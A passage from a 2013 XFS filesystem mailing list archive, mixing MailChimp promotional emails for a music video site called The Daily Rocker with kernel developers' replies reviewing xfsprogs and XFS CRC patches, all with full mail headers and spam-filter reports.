MTV, where you didn=E2=80=99t have to c= lick after every song? Wish you could choose a genre, kick back and chat w= ith FB friends as the music videos play all day long? Well, your prayers a= re now answered. Today The Daily Rocker launches with - * No digging through interviews and crappy concert footage. Just music vid= eos twenty four hours a day seven days a week. * Hours of daily music video programming, hand picked and compiled by real= humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads= and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRO= NIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning= the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female ar= tists with bold voices * Thousands of Artist Stations that automatically send users from one like= minded artist to the next, allowing them to watch videos all day while ge= tting stuff done * New music videos added daily with constantly rotating playlists allow us= ers to keep up with current music while hearing their favorite tunes * The ability to chat with facebook friends while watching music videos un= interrupted Funny Fact: * The Daily Rocker's July 23rd launch opens with The Limousines "Internet= Killed The Video Star" as a not-so-subtle jab at MTV, who launched over t= wo decades ago and no longer shows regular music video programming. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage.com/u= nsubscribe?u=3Dcff25387938a97b0fd838f920&id=3D9052594378&e=3D95f7364ac1&c=3D= d26a5b1e40) ** update subscription preferences (http://TheDailyRocker.us7.list-manage.= com/profile?u=3Dcff25387938a97b0fd838f920&id=3D9052594378&e=3D95f7364ac1) --_----------=_MCPart_466918413 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable New Streaming Music Video Site Features 1000's Of Non-Stop= Stations and FB chat
    =09
    Use this area to offer a short preview of your= email's content.
    View this email in your browser

    =09New Music Video Site THE DAILY ROCKER Launches With Thousands Of Non-St= op Stations and Facebook Chat

    =09
    =09Hand picked programming and a wild edgy brand gives users a daily fix o= f music videos while letting them chat with their facebook friends.  =  

    =09
    =09LOS ANGELES, CA - Miss the days of MTV, where you didn=E2=80=99t have t= o click after every song? Wish you could choose a genre, kick back and cha= t with FB friends as the music videos play all day long? Well, your prayer= s are now answered.
    =09 

    =09Today The Daily Rocker launches with - 

      =09
    • =09=09No digging through interviews and crappy concert footage. Just music= videos twenty four hours a day seven days a week.
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted

    =09 

    =09Funny Fact:

      =09
    • =09=09The Daily Rocker's July 23rd launch opens with The Limousines "Inter= net Killed The Video Star" as a not-so-subtle jab at MTV, who launched ove= r two decades ago and no longer shows regular music video programming.
    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    You are receiving this email because you opted in to our music marketi= ng efforts

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this li= st    update subscription preferences 

    --_----------=_MCPart_466918413-- From bounce-mc.us7_18889475.80473-linux-xfs=oss.sgi.com@mail24.atl11.rsgsv.net Tue Jul 23 11:17:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E65147F5D for ; Tue, 23 Jul 2013 11:17:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D5D5D8F8037 for ; Tue, 23 Jul 2013 09:17:35 -0700 (PDT) X-ASG-Debug-ID: 1374596253-04cb6c2a46105fba0001-w1Z2WR Received: from mail24.atl11.rsgsv.net (mail24.atl11.rsgsv.net [205.201.133.24]) by cuda.sgi.com with ESMTP id R6ej6EPChCHH3UYb for ; Tue, 23 Jul 2013 09:17:33 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80473-linux-xfs=oss.sgi.com@mail24.atl11.rsgsv.net X-Barracuda-Apparent-Source-IP: 205.201.133.24 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail24.atl11.rsgsv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=info=3DTheDailyRocker.com@mail24.atl11.rsgsv.net; bh=YQVrhd5Nvc0ujP1Eu2OBLyFCkDs=; b=Gyldl72ji3Qlso3aaFKTzIgXtapXea4d9ZU4qFekcufZ50WrZlxY5hTEcM782mAoEuYddBwhTiZN m4irzhHSioMrOy/HKh85xA7Co48ETkbAdj6E9+ZJFNY4ORyAMuRorPCZpwdBEHB1AcwhxZmSy1Ft 2J5/xZ97Ws4q4X51Ei0= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail24.atl11.rsgsv.net; b=jC8621co5xheEwWL0DQbcKSjU3GWpHeXNycXYpC6a4wgPbcg5i5wSLLDRdNgq+Ni0PypTSS4eVk2 mPzy7cJWGBXZu0xB9Ax43y1SaPLKhlS7bQ/5G9hk4A+ZqieLED6bdPAwrFC4DezCxkncsc3bxLaY 0rITtYJqCvBYIjw6ti4=; Received: from (127.0.0.1) by mail24.atl11.rsgsv.net (PowerMTA(TM) v3.5r16) id htqm9q1lgi05 for ; Tue, 23 Jul 2013 16:17:31 +0000 (envelope-from ) Subject: =?utf-8?Q?Finally=20a=20site=20that=20has=20JUST=20MUSIC=20VIDEOS?= From: =?utf-8?Q?MUSIC=20TIPS?= X-ASG-Orig-Subj: =?utf-8?Q?Finally=20a=20site=20that=20has=20JUST=20MUSIC=20VIDEOS?= Reply-To: =?utf-8?Q?MUSIC=20TIPS?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 16:17:31 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CID2b483119246e97603da8** X-Campaign: mailchimpcff25387938a97b0fd838f920.2b48311924 X-campaignid: mailchimpcff25387938a97b0fd838f920.2b48311924 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=2b48311924&e=6e97603da8 x-accounttype: pd List-Unsubscribe: , Sender: "MUSIC TIPS" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_2004772969" MIME-Version: 1.0 X-Barracuda-Connect: mail24.atl11.rsgsv.net[205.201.133.24] X-Barracuda-Start-Time: 1374596253 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_2004772969 Content-Type: text/plain; charset="utf-8"; format="fixed" Content-Transfer-Encoding: quoted-printable Use this area to offer a short preview of your email's content. View this email in your browser (http://us7.campaign-archive2.com/?u=3Dcff= 25387938a97b0fd838f920&id=3D2b48311924&e=3D6e97603da8) ** Finally A Music Video Site That Features JUST Music Videos Non-Stop ------------------------------------------------------------ ** No digging through crappy concert footage. No interviews or lame news s= egments interrupting the music. Just Music Videos. Everyday. Every genre.= Dig it. ------------------------------------------------------------ Miss the days of MTV, where you didn=E2=80=99t have to click after every s= ong? Wish you could choose a genre, kick back and chat with FB friends as= the music videos play all day long? Well, your prayers are now answered. Today The Daily Rocker launches with - * No digging through interviews and crappy concert footage. Just music vid= eos twenty four hours a day seven days a week. * Hours of daily music video programming, hand picked and compiled by real= humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads= and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRO= NIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning= the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female ar= tists with bold voices * Thousands of Artist Stations that automatically send users from one like= minded artist to the next, allowing them to watch videos all day while ge= tting stuff done * New music videos added daily with constantly rotating playlists allow us= ers to keep up with current music while hearing their favorite tunes * The ability to chat with facebook friends while watching music videos un= interrupted Funny Fact: * The Daily Rocker's July 23rd launch opens with The Limousines "Internet= Killed The Video Star" as a not-so-subtle jab at MTV, who launched over t= wo decades ago and no longer shows regular music video programming. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage2.com/= unsubscribe?u=3Dcff25387938a97b0fd838f920&id=3D6847f0f686&e=3D6e97603da8&c= =3D2b48311924) ** update subscription preferences (http://TheDailyRocker.us7.list-manage.= com/profile?u=3Dcff25387938a97b0fd838f920&id=3D6847f0f686&e=3D6e97603da8) --_----------=_MCPart_2004772969 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Finally a site that has JUST MUSIC VIDEOS
    =09
    Use this area to offer a short preview of your= email's content.
    View this email in your browser

    =09Finally A Music Video Site That Features JUST Music Videos Non-Stop

    =09No digging through crappy concert footage. No interviews or lame news s= egments interrupting the music. Just Music Videos. Everyday. Every genre.= Dig it.

    =09Miss the days of MTV, where you didn=E2=80=99t have to click after ever= y song? Wish you could choose a genre, kick back and chat with FB friends= as the music videos play all day long? Well, your prayers are now answere= d.

    =09Today The Daily Rocker launches with - 

      =09
    • =09=09No digging through interviews and crappy concert footage. Just music= videos twenty four hours a day seven days a week.
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted

    =09 

    =09Funny Fact:

    =09 

    =09 

      =09
    • =09=09The Daily Rocker's July 23rd launch opens with The Limousines "Inter= net Killed The Video Star" as a not-so-subtle jab at MTV, who launched ove= r two decades ago and no longer shows regular music video programming.
    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    Thanks for keeping on the loop with The Daily Rocker

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this l= ist    update subscription preferences 

    --_----------=_MCPart_2004772969-- From zab@redhat.com Tue Jul 23 11:27:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 93F6E7F5E for ; Tue, 23 Jul 2013 11:27:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 75ACA304059 for ; Tue, 23 Jul 2013 09:27:02 -0700 (PDT) X-ASG-Debug-ID: 1374596818-04bdf0245d318c10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id twvFmwr8Q5ltLWzo for ; Tue, 23 Jul 2013 09:26:58 -0700 (PDT) X-Barracuda-Envelope-From: zab@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6NGQvw9011066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 23 Jul 2013 12:26:58 -0400 Received: from localhost (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6NGQvOT014376 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 23 Jul 2013 12:26:57 -0400 Date: Tue, 23 Jul 2013 09:26:57 -0700 From: Zach Brown To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfsprogs/io: add getdents command Message-ID: <20130723162656.GD30899@lenny.home.zabbo.net> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs/io: add getdents command References: <1373567034-7534-1-git-send-email-bfoster@redhat.com> <20130715183845.GS25414@lenny.home.zabbo.net> <51EE9AC9.2050306@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EE9AC9.2050306@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374596818 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Jul 23, 2013 at 11:01:29AM -0400, Brian Foster wrote: > On 07/15/2013 02:38 PM, Zach Brown wrote: > >> +ifeq ($(PKG_PLATFORM),linux) > >> +CFILES += getdents.c > >> +endif > > > > I'd make a real test for getdents() rather than tying it to Linux. Just > > copy what's done for sync_file_range :). > > > > Having a look back, I think a reason why I avoided this was I didn't > have a libc interface for getdents. Bleh, yeah. I guess you could test for the syscall(__NR,) signature. > Perhaps there's still a way to test that, but I'm also wondering if > this would be more broadly useful if I just converted it over to > generic readdir(). Thoughts? That seems reasonable, given that's what apps actually use. If tests really wanted to inspect getdents specifically they can worry about it. - z From tinguely@sgi.com Tue Jul 23 13:22:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 402277F3F for ; Tue, 23 Jul 2013 13:22:20 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1F85E304059; Tue, 23 Jul 2013 11:22:17 -0700 (PDT) Message-ID: <51EEC9D8.7050005@sgi.com> Date: Tue, 23 Jul 2013 13:22:16 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 43/49] xfs: return log item size in IOP_SIZE References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-44-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-44-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Dave Chinner > > To begin optimising the CIL commit process, we need to have IOP_SIZE > return both the number of vectors and the size of the data pointed > to by the vectors. This enables us to calculate the size ofthe > memory allocation needed before the formatting step and reduces the > number of memory allocations per item by one. > > WhIle there, kill the IOP_SIZE macro. > > Signed-off-by: Dave Chinner Looks good. Reviewed-by: Mark Tinguely From bpm@sgi.com Tue Jul 23 13:26:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 140017F3F for ; Tue, 23 Jul 2013 13:26:52 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id F1FD98F8035; Tue, 23 Jul 2013 11:26:48 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C2A5D4266DC; Tue, 23 Jul 2013 13:26:48 -0500 (CDT) Date: Tue, 23 Jul 2013 13:26:48 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/48] libxfs: add crc format changes to generic btrees Message-ID: <20130723182648.GI3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:26AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner This patch mostly corresponds to commit ee1a47ab0e, and in some areas it is equivalent but slightly different. There are some other things in here too: * Addition of XFS_BUF_DADDR_NULL * rename of b_blkno to b_bn in struct xfs_buf * rename of b_fsprivate to b_fspriv in struct xfs_buf * addition of uuid_copy and uuid_equal, and libuuid to build It all looks fine to me, except as below: > static void > @@ -733,13 +760,29 @@ xfs_bmbt_read_verify( > struct xfs_buf *bp) > { > xfs_bmbt_verify(bp); ^^^^^^^^^^^^^^^^^^^^ In commit ee1a47ab0e we removed this call. > + if (!(xfs_btree_lblock_verify_crc(bp) && > + xfs_bmbt_verify(bp))) { > + trace_xfs_btree_corrupt(bp, _RET_IP_); > + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > + bp->b_target->bt_mount, bp->b_addr); > + xfs_buf_ioerror(bp, EFSCORRUPTED); > + } > + > } > > static void > xfs_bmbt_write_verify( > struct xfs_buf *bp) > { > - xfs_bmbt_verify(bp); ^^^^^^^^^^^^^^^^^^^^ As we did here > + if (!xfs_bmbt_verify(bp)) { > + xfs_warn(bp->b_target->bt_mount, "bmbt daddr 0x%llx failed", bp->b_bn); > + trace_xfs_btree_corrupt(bp, _RET_IP_); > + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > + bp->b_target->bt_mount, bp->b_addr); > + xfs_buf_ioerror(bp, EFSCORRUPTED); > + return; > + } > + xfs_btree_lblock_calc_crc(bp); Is that addressed later in the series? Reviewed-by: Ben Myers From bounce-mc.us7_18889475.80773-xfs=oss.sgi.com@mail41.wdc03.rsgsv.net Tue Jul 23 13:45:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 43FCA7F3F for ; Tue, 23 Jul 2013 13:45:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1F48B304066 for ; Tue, 23 Jul 2013 11:45:29 -0700 (PDT) X-ASG-Debug-ID: 1374605123-04cb6c2a47106ba80002-NocioJ Received: from mail41.wdc03.rsgsv.net (mail41.wdc03.rsgsv.net [205.201.131.41]) by cuda.sgi.com with ESMTP id vyHTK37cIiPcqk8k for ; Tue, 23 Jul 2013 11:45:27 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80773-xfs=oss.sgi.com@mail41.wdc03.rsgsv.net X-Barracuda-Apparent-Source-IP: 205.201.131.41 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail41.wdc03.rsgsv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=info=3Dthedailyrocker.com@mail41.wdc03.rsgsv.net; bh=Oqt51cYnSLU27oP0uW3IN0YLF1k=; b=kGljDZmxhZVGnk61EdPHbOzeMMsmgc+d6GCnr5VhNRjbUMCvHWNrF+flrojlKp/o+7N7YyP5EE2N z7HFbNl5h/WbkbZX/NwD9hg+xATOFs9b7NOpa2ck8tWoUBCUFwUHwM45Sna1ybnA2KXdzi+va00c y2awasZnE1LKpah65F0= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail41.wdc03.rsgsv.net; b=tgWB/3LuvnmCUnoxvgocTFdF7bs/rNINVaCJbtodFSYo8CoUBaxWrbyZUzRNLS7OyaOrQMZ/LIuI 3xHbu1Ssq7TsXAGdVkEGtgMq2bYGpDJbhEdjB3miE9sLezTJQ3jZGevmYCu3q4Fm4C811R7seEVq s8D3Un3XHiEIVECwZ7k=; Received: from (127.0.0.1) by mail41.wdc03.rsgsv.net (PowerMTA(TM) v3.5r16) id htr7ke1jvloa for ; Tue, 23 Jul 2013 18:45:20 +0000 (envelope-from ) Subject: =?utf-8?Q?New=20music=20video=20site=20reaching=20out?= From: =?utf-8?Q?THe=20Daily=20Rocker?= X-ASG-Orig-Subj: =?utf-8?Q?New=20music=20video=20site=20reaching=20out?= Reply-To: =?utf-8?Q?THe=20Daily=20Rocker?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 18:45:20 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CIDffcc81cf2195f7364ac1** X-Campaign: mailchimpcff25387938a97b0fd838f920.ffcc81cf21 X-campaignid: mailchimpcff25387938a97b0fd838f920.ffcc81cf21 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=ffcc81cf21&e=95f7364ac1 x-accounttype: pd List-Unsubscribe: , Sender: "THe Daily Rocker" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_1104166906" MIME-Version: 1.0 X-Barracuda-Connect: mail41.wdc03.rsgsv.net[205.201.131.41] X-Barracuda-Start-Time: 1374605127 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_1104166906 Content-Type: text/plain; charset="us-ascii"; We just launched the first site to feature JUST music videos! View this email in your browser (http://us7.campaign-archive2.com/?u=cff25387938a97b0fd838f920&id=ffcc81cf21&e=95f7364ac1) ** Finally A Music Video Site That Features JUST Music Videos Non-Stop ------------------------------------------------------------ http://www.thedailyrocker.com ** No digging through crappy concert footage. No interviews or lame news segments interrupting the music. Just Music Videos. Everyday. Every genre. Dig it. ------------------------------------------------------------ Artists and labels, we DO want to hear from you. Hit the about page for submission info. Today The Daily Rocker launches with - * No digging through interviews and crappy concert footage. Just music videos twenty four hours a day seven days a week. * The ability to chat with facebook friends while watching music videos uninterrupted * Hours of daily music video programming, hand picked and compiled by real humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRONIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female artists with bold voices * Thousands of Artist Stations that automatically send users from one like minded artist to the next, allowing them to watch videos all day while getting stuff done * New music videos added daily with constantly rotating playlists allow users to keep up with current music while hearing their favorite tunes ============================================================ ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage.com/unsubscribe?u=cff25387938a97b0fd838f920&id=c67736b492&e=95f7364ac1&c=ffcc81cf21) ** update subscription preferences (http://TheDailyRocker.us7.list-manage.com/profile?u=cff25387938a97b0fd838f920&id=c67736b492&e=95f7364ac1) --_----------=_MCPart_1104166906 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable New music video site reaching out
    =09
    We just launched the first site to feature JUS= T music videos!
    View this email in your browser

    =09Finally A Music Video Site That Features JUST Music Videos Non-Stop http://www.thedailyrocker.com

    =09No digging through crappy concert foot= age. No interviews or lame news segments interrupting the music. Just Musi= c Videos. Everyday. Every genre. Dig it.


    =09Artists and labels, we DO want to hear from you. Hit the about page for= submission info. 
    =09
    =09
    =09Today The Daily Rocker launches with - 

      =09
    • =09=09No digging through interviews and crappy concert footage. Just music= videos twenty four hours a day seven days a week.
    • =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes
    =09 
    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    You are receiving this because you opted in for our music promotions.

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this li= st    update subscription preferences 

